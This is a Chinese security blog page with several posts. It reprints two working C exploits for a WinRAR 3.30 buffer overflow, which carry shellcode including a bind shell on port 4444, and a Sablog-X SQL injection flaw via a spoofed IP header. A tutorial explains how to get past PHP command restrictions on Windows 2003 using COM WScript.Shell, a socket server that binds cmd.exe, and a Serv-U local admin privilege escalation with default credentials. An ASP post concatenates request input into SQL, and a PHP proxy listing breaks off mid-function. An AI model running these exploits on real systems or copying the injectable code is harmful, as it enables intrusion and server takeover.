WinRAR 3.30 Long Filename Buffer Overflow Exploit

2006年9月29日 没有评论 64 views

代码1:

/* WinRAR Buffer Overflow 3.30 Exploit 

* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team 
* Exploit made by: K4P0 
* Contact: <a href="mailto:k4p0k4p0@hotmail.com">k4p0k4p0@hotmail.com</a> 
*/ 

#include <stdio.h> 
#include <windows.h> 

int main(void) 

  char EvilBuff[1024]; 

  // Normal cmd.exe shellcode. 
  char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63" 
          "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6" 
        "\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" 
              "\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3"; 

  char jmpesp_offset[] = "\x0F\x98\xF8\x77"; 
  char Prog[1024] = "WinRAR "; 

  printf("WinRAR Buffer Overflow 3.30 Exploit\n\n"); 
  printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Team\n"); 
  printf("Exploit made by: K4P0\n"); 
  memset(EvilBuff, 0x00, 1024); 
  memset(EvilBuff, 0x41, 510); 
  strncat(EvilBuff, jmpesp_offset, 1024); 
  strncat(EvilBuff, shellcode, 1024); 
  strncat(Prog, EvilBuff, 1024); 
  printf("\nExploiting...\n"); 
  system(Prog); 
  return 0; 


// milw0rm.com [2006-01-04] 


代码2:

/* 
  IHS public source code 
  WinRAR 3.3.0 and below local BOF exploit 
  author : c0d3r , kaveh razavi <<a href="mailto:c0d3r@ihsteam.com">c0d3r@ihsteam.com</a>> 
  advisory : <a target="_blank" href="http://www.securityfocus.com/archive/1/420679">http://www.securityfocus.com/archive/1/420679</a> 
  tnx to alpha who reported the vulnerability 
  workaround: use the lastest version 
  special tnx to LorD and NT of IHS (my workmates and best friends) 
  <a target="_blank" href="www.ihsteam.com">www.ihsteam.com</a> 
  <a target="_blank" href="www.ihsteam.net">www.ihsteam.net</a> 
  <a target="_blank" href="www.c0d3r.org">www.c0d3r.org</a> 
  showing some of iranian kids what real hacking is . 
  specially those who think changing a name server is hacking =) 
*/ 

#include<stdio.h> 
#include<string.h> 
#include<winsock2.h> 
#pragma comment(lib, "ws2_32.lib") 
#define NOP 0x90 
#define size 930 

char exploit[size]; 
char winxpsp1[]   = "\xCC\x59\xFB\x77"; // jmp esp in ntdll 
char winxpsp2[]   = "\xED\x1E\x94\x7C"; // jmp esp (not tested) 
char win2ksp4[]   = "\xBB\xED\x4F\x7C"; // call esp in kernel32.dll 
char win2k3_sp0[] = "\xAB\x8B\xFB\x77"; // jmp esp in ntdll 
char win2k3_sp1[] = "\x6A\xFA\xE8\x77"; // push esp - ret in kernel32 
char *exec[3]; 
char point_esp[5]; 
unsigned int os; 

// metasploit shellcode LPORT=4444 
unsigned char shellcode[] = 
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" 
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" 
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" 
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" 
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" 
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" 
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" 
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" 
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" 
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" 
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" 
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" 
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" 
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" 
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" 
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" 
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" 
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" 
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" 
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" 
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" 
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" 
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" 
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" 
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; 

usage(){ 

printf("-------- usage : ihs_winrar.exe OS_VER\n"); 
printf("-------- target 1 : windows xp service pack 1       : 0\n"); 
printf("-------- target 2 : windows xp service pack 2       : 1\n"); 
printf("-------- target 3 : windoes 2k advanced server sp 4   : 2\n"); 
printf("-------- target 4 : windoes 2k3 server enterprise sp0 : 3\n"); 
printf("-------- target 5 : windoes 2k3 server enterprise sp1 : 4\n"); 
printf("-------- eg : ihs_winrar.exe 2\n\n");   
exit(-1) ; 

int main(int argc , char **argv){ 

printf("\n-------- WinRAR 330 and below Local BOF exploit by c0d3r\n"); 
if(argc < 2) 
  usage(); 
printf("\n"); 
os = (unsigned short)atoi(argv[1]);   
switch(os) 

  case 0: 
  strcat(point_esp,winxpsp1); 
  printf("[+] target : windows xp service
 pack 1\n"); 
  break; 
  case 1: 
  strcat(point_esp,winxpsp2); 
  printf("[+] target : windows xp service pack 2\n"); 
  break; 
  case 2: 
  strcat(point_esp,win2ksp4); 
  printf("[+] target : windows 2000 advanced server service pack 4\n"); 
  break; 
  case 3: 
  strcat(point_esp,win2k3_sp0); 
  printf("[+] target : windows 2003 server enterprise service pack 0\n"); 
  break; 
  case 4: 
  strcat(point_esp,win2k3_sp1); 
  printf("[+] target : windows 2003 server enterprise service pack 1\n"); 
  break; 
  default: 
  printf("\n[-] this target doesnt exist in the list\n\n"); 
  
  exit(-1); 


printf("[+] exploit string is %d byte\n",size); 
printf("[+] shellcode is %d byte\n", sizeof(shellcode)-1); 
printf("[+] making exploit string :)\n"); 
memset(exploit,NOP,size); 
memcpy(exploit+516,point_esp,sizeof(point_esp)-1); 
memcpy(exploit+530,shellcode,sizeof(shellcode)-1); 
exploit[size]=0x00; 
printf("[+] exploit string ready\n"); 
printf("[+] preparing the executer\n"); 
exec[0]="WinRAR.exe"; 
exec[2]=NULL; 
exec[1]=exploit; 
printf("[+] executer ready\n"); 
printf("[+] exploiting ........\n"); 
execve(exec[0],exec,NULL); 

return 0x0; 

/* 

I:\Program Files\WinRAR>ihs_winrar 2 

-------- WinRAR 330 and below Local BOF exploit by c0d3r 

[+] target : windows 2000 advanced server service pack 4 
[+] exploit string is 930 byte 
[+] shellcode is 399 byte 
[+] making exploit string :) 
[+] exploit string ready 
[+] preparing the executer 
[+] executer ready 
[+] exploiting ........ 

I:\Program Files\WinRAR>nc -vv 127.0.0.1 4444 
iran [127.0.0.1] 4444 (?) open 
Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-2000 Microsoft Corp. 

I:\Program Files\WinRAR> 

*/ 

// milw0rm.com [2006-01-04] 

分类: 矩阵毒刺 标签:

show.asp?id=26变show/?26形式的代码

2006年9月28日 没有评论 51 views

发现好多asp的系统在调用文章的时候如果不生成静态,输出的都是类似
http://www.xxx.com/show.asp?id=26 这种格式的.

如果可以换成 http://www.xxx.com/show/?26 这种格式,感觉清减了不少,当然对于支持伪静态的空间
还可以设置成 http://www.xxx.com/show/26 据说着杨可以增加搜索引擎收录的几率.

代码如下:
首先建立一个show目录,建立一个index.asp文件,就是系统默认的那个文件
然后把以前如果是 show.asp?id=26 的时候,show这个文件首先需要得到id一般用
id=request.QueryString("id")
之类的获得id.这里把获得id换成,获得?后面的数字,用以下代码.
id = LCase(Trim(Request.ServerVariables("QUERY_STRING")))

其他的链接数据库方式不变

Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From blog where id="&id, conn,3,3

大家可以试试,呵呵.

给个演示:

http://www.aubaby.cn/shop/?26

来自:showlife8‘s blog

分类: 资源共享 标签:

Sablog-X Ver 1.1 getip() Vulnerability

2006年9月28日 没有评论 63 views

Sablog-X Ver 1.1 getip() Vulnerability

getip()过滤不严导致sql/xss等攻击。

sablog\include\common.php
--------code-------------
function getip() {
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$realip = $_SERVER['HTTP_CLIENT_IP'];
} else {
$realip = $_SERVER['REMOTE_ADDR'];
}
} else {
if (getenv("HTTP_X_FORWARDED_FOR")) {
$realip = getenv( "HTTP_X_FORWARDED_FOR");
} elseif (getenv("HTTP_CLIENT_IP")) {
$realip = getenv("HTTP_CLIENT_IP");
} else {
$realip = getenv("REMOTE_ADDR");
}
}
return $realip;
}
--------code-------------

D:\>Findstr /S /I /N /d:D:\phproot\sablog "getip" *.php
D:\phproot\sablog:
post.php:93: $DB->query("Insert INTO ".$db_prefix."users VALUES ('', '".$username."', '".md5($password)."', '".$email."', '".$url."', '".time()."', '".getip()."', '0', '')");
post.php:181: if (preg_match("/^$ban_ip/", getip())) {
post.php:320: $DB->query("Insert INTO ".$db_prefix."comments (articleid, authorid, author, url, email, dateline, content, ipaddress, visible) VALUES ('".$articleid."', '".$userid."', '".$username."', '".$url."', '".$email."', '".time()."', '".$content."', '".getip()."', '".$visible."')");
post.php:379: $query = $DB->query("Select searchid, dateline, ('".$options['search_post_space']."'<>'0' AND ".time()."-dateline< ".$options['search_post_space'].") AS flood, searchfrom='".$searchfrom."' AND keywords='".$keywords."' AS indexvalid FROM ".$db_prefix."searchindex Where ('".$options['search_post_space']."'<>'0' AND ipaddress='".getip()."' AND ".time()."-dateline< ".$options['search_post_space'].") orDER BY flood");
post.php:475: $DB->query("Insert INTO ".$db_prefix."searchindex (keywords, dateline, sortby, orderby, tatols, ids, searchfrom, ipaddress) VALUES ('".$keywords."', '".time()."', '".$sortby."', '".$orderby."', '".$tatols."', '".$ids."', '".$searchfrom."', '".getip()."')");
trackback.php:80: $query = $DB->query("Select trackbackid FROM ".$db_prefix."trackbacks Where ipaddress='".getip()."' AND dateline+".$interval.">='".time()."'");
trackback.php:98: $query = $DB->query("Select title,ipaddress,articleid FROM ".$db_prefix."trackbacks Where ipaddress='".getip()."' or articleid='".$articleid."'");
trackback.php:101: if ($trackback['title'] == $title && $trackback['ipaddress'] == getip()) {
trackback.php:105: if ($trackback['ipaddress'] == getip() && $trackback['articleid'] == $articleid) {
trackback.php:185: $DB->query("Insert INTO ".$db_prefix."trackbacks (articleid, title, dateline, excerpt, url, blog_name, ipaddress, visible, point) VALUES('".$articleid."', '".$title."', '".time()."', '".$excerpt."', '".$url."', '".$blog_name."', '".getip()."', '".$visible."', '".$point."')");
include\common.php:168:function getip() {
include\common.php:219:if ($_COOKIE["UserIP"] !== getip()) {
include\common.php:220: setcookie ("UserIP", getip(), time()+(24*3600));
admin\adminfunctions.php:128: $DB->query("Insert INTO ".$db_prefix."loginlog (username,dateline,ipaddress,result) VALUES ('".addslashes($username)."','".time()."','".getip()."','".$result."')");

admin\adminfunctions.php:137: $DB->query("Insert INTO ".$db_prefix."adminlog (action,script,dateline,ipaddress,username) VALUES ('".htmlspecialchars(trim($action))."','".htmlspecialchars(trim($script))."','".time()."','".getip()."','".$_SESSION['admin_username']."')");

admin\global.php:70: $DB->unbuffered_query("Update ".$db_prefix."admin SET logincount=logincount+1, logintime='".time()."', loginip='".getip()."' Where username='".$username."'");

wap\global.php:228: $DB->query("Insert INTO ".$db_prefix."loginlog (username,dateline,ipaddress,result) VALUES ('".addslashes($username)."','".time()."','".getip()."','".$result."')");
wap\index.php:329: $query = $DB->query("Select searchid, dateline, ('".$options['search_post_space']."'<>'0' AND ".time()."-dateline< ".$options['search_post_space'].") AS flood, searchfrom='article' AND keywords='".$keywords."' AS indexvalid FROM ".$db_prefix."searchindex Where ('".$options['search_post_space']."'<>'0' AND ipaddress='".getip()."' AND ".time()."-dateline< ".$options['search_post_space'].") orDER BY flood");
wap\index.php:376: $DB->query("Insert INTO ".$db_prefix."searchindex (keywords, dateline, sortby, orderby, tatols, ids, searchfrom, ipaddress) VALUES ('".$keywords."', '".time()."', 'dateline', 'desc', '".$tatols."', '".$ids."', 'article', '".getip()."')");
wap\index.php:622: $DB->unbuffered_query("Update ".$db_prefix."admin SET logincount=logincount+1, logintime='".time()."', loginip='".getip()."' Where username='".$username."'");
wap\index.php:686: if (preg_match("/^$ban_ip/", getip())) {
wap\index.php:762: if (preg_match("/^$ban_ip/", getip())) {
wap\index.php:812: $DB->query("Insert INTO ".$db_prefix."comments (articleid, authorid, author, url, email, dateline, content, ipaddress, visible) VALUES ('".$articleid."', '".$userid."', '".$username."', '".$url."', '".$email."', '".time()."', '".$content."', '".getip()."', '".$visible."')");

分类: 技术文章 标签: ,

突破WIN2003 PHP服务器的新思路

2006年9月28日 没有评论 65 views

从WIN2000到WIN XP, 再到WIN2003, MS IIS服务器安全性的提高是显而易见的。 在WIN2000中, 一个普通的PHP SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也无法用system() 等函数执行系统命令, 但是我们还能用com()函数进行突破;到WIN 2003,即使IIS 和PHP都是默认安装,你用system(), com()也可能拿它没辙。这时候你就不得不使用一些新的方法来进行突破了。

1、disable_functions的突破

在php -4.0.1以上的版本,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons,同时程序终止运行。但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令,示例代码如下:

<?
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

据说这个只有设成safe_mode为on才能避免,但上次我在一台国外的服务器上使用的时候还是失败了,人并不是什么时候都能那么走运的:)

2、dl()函数的应用

当任何PHP的内部命令执行数和''都无法使用的时候,可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数,可惜这个扩展已被移动到 PECL 库中,且自PHP 5.1.0以下版本起不再被绑定。以下是手册里的例子:

// 加载此扩展
dl("php_w32api.dll");

// 注册 GetTickCount 函数,来自 kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long");

// 注册 MessageBoxA 函数,来自 User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");

// 取得开机时间信息
$ticks = GetTickCount();

// 转换为易于理解的文本
$secs = floor($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);

$str = sprintf("You have been using your computer for:".
"\r\n %d Milliseconds, or \r\n %d Seconds".
"or \r\n %d mins or\r\n %d hours %d mins.",
$ticks,
$secs,
$mins,
$hours,
$mins - ($hours*60));

// 显示一个消息对话框,只有一个 OK 按钮和上面的开机时间文本
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK);
?>

可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。

3、COM 和 .Net(Windows)函数的应用

COM(Component Object Model,组件对象模型)是微软开发的软件规范,它用于开发面向对象的、编译好的软件组件,它允许把软件抽象成为二进制的部件,主要运用于windows平台。
PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法,并把COM的类名作为参数传递到构造函数。例如使用在PHP中调用“WScript.Shell”执行系统命令:

<?
$cmd=” E:/cert/admin/psexec.exe”;
if($com=new COM("WScript.Shell")) echo "yes";

if(!$cmd1=$com->exec($cmd))
{
echo "can not exec()";
}

if(!$cmd2=$cmd1->stdout())
{
echo "can not stdout()";
}

if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>

图1是我写的一个执行psexec.exe的一个例子。

这段代码与ASP的<%=server.createobject("wscript.shell").exec("cmd.exe /c netstat –an”).stdout.readall%>的意思是一模一样的,当然,你也可以像ASP那样调用“ADODB.Connection”,利用这个组件结合jet2溢出漏洞,可能能够在PHP Saft mode=ON下拿到一个Shell。

<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
…..
?>

.Net 函数只能运行在 PHP 5上,当然,它需要 “.Net runtime”的支持,而且这的PHP的一个实验性模块,功能还未齐全,所以在这就不讨论了。

4、Java()函数的应用

该方法适用于safe mode=on。要使用JAVA模块服务器必须事先安装Java虚拟机,而且在PHP安装配置的时候打开了with-java的选项,代码如下:

[JAVA]
;这是到php_java.jar的路径
;java.class.path = .\php_java.jar
;JDK的路径
;Java.home = f:\jdk1.3.0
;到虚拟机的路径
;Java.library=f:\jdk1.3.0\jre\bin\hostspot\jvm.dll

同COM一样,使用Java创建类(不仅仅是JavaBeans)只需把JAVA的类名作为参数传递到构造函数。以下是手册里边的一个例子:

<?php
// This example is only intended to be run as a CGI.

$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');

$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;

$thread = new Java('java.lang.Thread');
$thread->sleep(10000);

$frame->dispose();
?>

可惜能真正支持JAVA的PHP服务器并不多见,所以在这也不多讨论了。

5、socket()函数的应用

socket 是PHP中功能极为强大的一个模块,如果你使用高级的、抽象的接口(由fsockopen()和psockopen函数打开的socket),是不需要打开“php_sockets.dll”的。但是如果要使用完整的socket函数块,就必须在php.ini这样设置:

;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
……..
;去掉以下一句最前边的分号
;extension=php_sockets.dll

使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器, 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子,你可以用它来捆绑上服务器的cmd.exe:

<?php
//在服务器上构造TCP服务
//该例子需要php_sockets.dll的支持
//执行后便可使用” telnet 127.0.0.1 1020”连接
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();

//在服务器上绑定IP和端口
$address = '127.0.0.1';
$port = 1020;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}

if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . 
socket_strerror($ret) . "\n";
}

if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}

do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));

do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";

//以下处理接受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/

} while (true);
socket_close($msgsock);
} while (true);

socket_close($sock);
?>

效果如图2、图3所示。

事实上,很多主机都是没有加载php_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子:

<?
$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {

//可以写入$shellcode
// fputs ($fp, $shellcode);

fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>

还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。

6、MYSQL/MSSQL接口
不同于linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。
在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。

总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!

后面附上proxy.php的代码

<?php
error_reporting(E_ALL);

/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/

function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}

class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' =
> 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;

function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ? 's' : '')
. "://";
$this->set_flags($flags);
}

function start_transfer($url)
{
$this->set_url($url);
$this->open_socket();
$this->set_request_headers();
$this->set_response();

if ($this->follow_location() === false)
{
if ($this->flags['accept_cookies'] == 1)
{
$this->set_cookies();
}
$this->set_content_type();
}
else
{
$this->start_transfer($this->url);
}
}

function open_socket()
{
$this->socket = @fsockopen($this->url_segments['host'], $this->url_segments['port'], &$errno, &$errstr, 5);

if ($this->socket === false)
{
$this->trigger_error("$errstr (<b>URL:</b> )");
}
}

function set_response()
{
fwrite($this->socket, $this->request_headers);
$response = '';

do
{
$data = fread($this->socket, 8192);
$response .= $data;
}
while (strlen($data) != 0);

fclose($this->socket);
preg_match("#(.*?)\r\n\r\n(.*)#s", $response, $matches);

$this->response_headers = $matches[1];
$this->response_body = $matches[2];
}

function set_content_type()
{
preg_match("#content-type:([^\r\n]*)#i", $this->response_headers, $matches);

if (trim($matches[1]) != '')
{
$content_type_array = explode(';', $matches[1]);
$this->content_type = strtolower(trim($content_type_array[0]));
}
}

function set_url($url)
{
$this->url = $this->decode_url($url);

if (strpos($this->url, '://') === false)
{
$this->url = 'http://' . $this->url;
}

$url_segments = @parse_url($this->url);

if (!empty($url_segments))
{
$url_segments['port'] = isset($url_segments['port']) ? $url_segments['port'] : 80;
$url_segments['path'] = isset($url_segments['path']) ? $url_segments['path'] : '/';
$url_segments['dir'] = substr($url_segments['path'], 0, strrpos($url_segments['path'], '/'));
$url_segments['base'] = $url_segments['scheme'] . '://' . $url_segments['host'] . $url_segments['dir'];
$url_segments['prev_dir'] = $url_segments['path'] != '/' ? substr($url_segments['base'], 0, strrpos($url_segments['base'], '/')+1) : $url_segments['base'] . '/';

$this->url_segments = $url_segments;

/*
URL: http://username:password@< wind_code_1 >
scheme // http
host // www.example.com
port // 80
user // username
pass // password
path // /dir/dir/page.php
query // ? 'foo=bar&foo2=bar2'
fragment // # 'bookmark'

dir // /dir/dir
base // http://www.example.com/dir/dir
prev_dir // http://www.example.com/dir/
*/

if (!empty($this->allowed_hosts) && !in_array($this->url_segments['host'], $this->allowed_hosts))
{
$this->trigger_error('You are only allowed to browse these websites: ' . implode(', ', $this->allowed_hosts));
}
}
else
{
$this->trigger_error('Please supply a valid URL');
}
}

function encode_url($url)
{
$url = str_rot13(urlencode(preg_replace('#^([\w+.-]+)://#i', "/", $url)));
return $url;
}

function decode_url($url)
{
$url = preg_replace('#^([\w+.-]+)/#i', "://", urldecode(str_rot13($url)));
return $url;
}

function modify_urls()
{
preg_match_all("#\s(href|src|action|codebase|url)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", $this->response_body, $matches, PREG_SET_ORDER);

foreach ($matches as $match)
{
$uri = trim($match[3]);
$fragment = ($hash_pos = strpos($uri, '#') !== false) ? '#' . substr($uri, $hash_pos) : '';

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
switch (substr($uri, 0, 1))
{
case '/':
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
break;
case '#':
continue 2;
default:
$uri = $this->url_segments['base'] . '/' . $uri;
break;
}
}

$uri = $this->encode_url($uri);
$replace = ' ' . $match[1] . '=' . $match[2] . $this->script_url . '?url=' . $uri . $fragment . $match[4] . $match[5];

$this->response_body = str_replace($match[0], $replace, $this->response_body);
}
}

function set_flags($flags)
{
if (is_numeric($flags))
{
setcookie('flags', $flags, time()+(4*7*24*60*60), '', $_SERVER['HTTP_HOST']);
$this->flags['include_form'] = $flags == 1 ? 1 : 0;
$this->flags['remove_scripts'] = $flags == 1 ? 1 : 0;
$this->flags['accept_cookies'] = $flags == 1 ? 1 : 0;
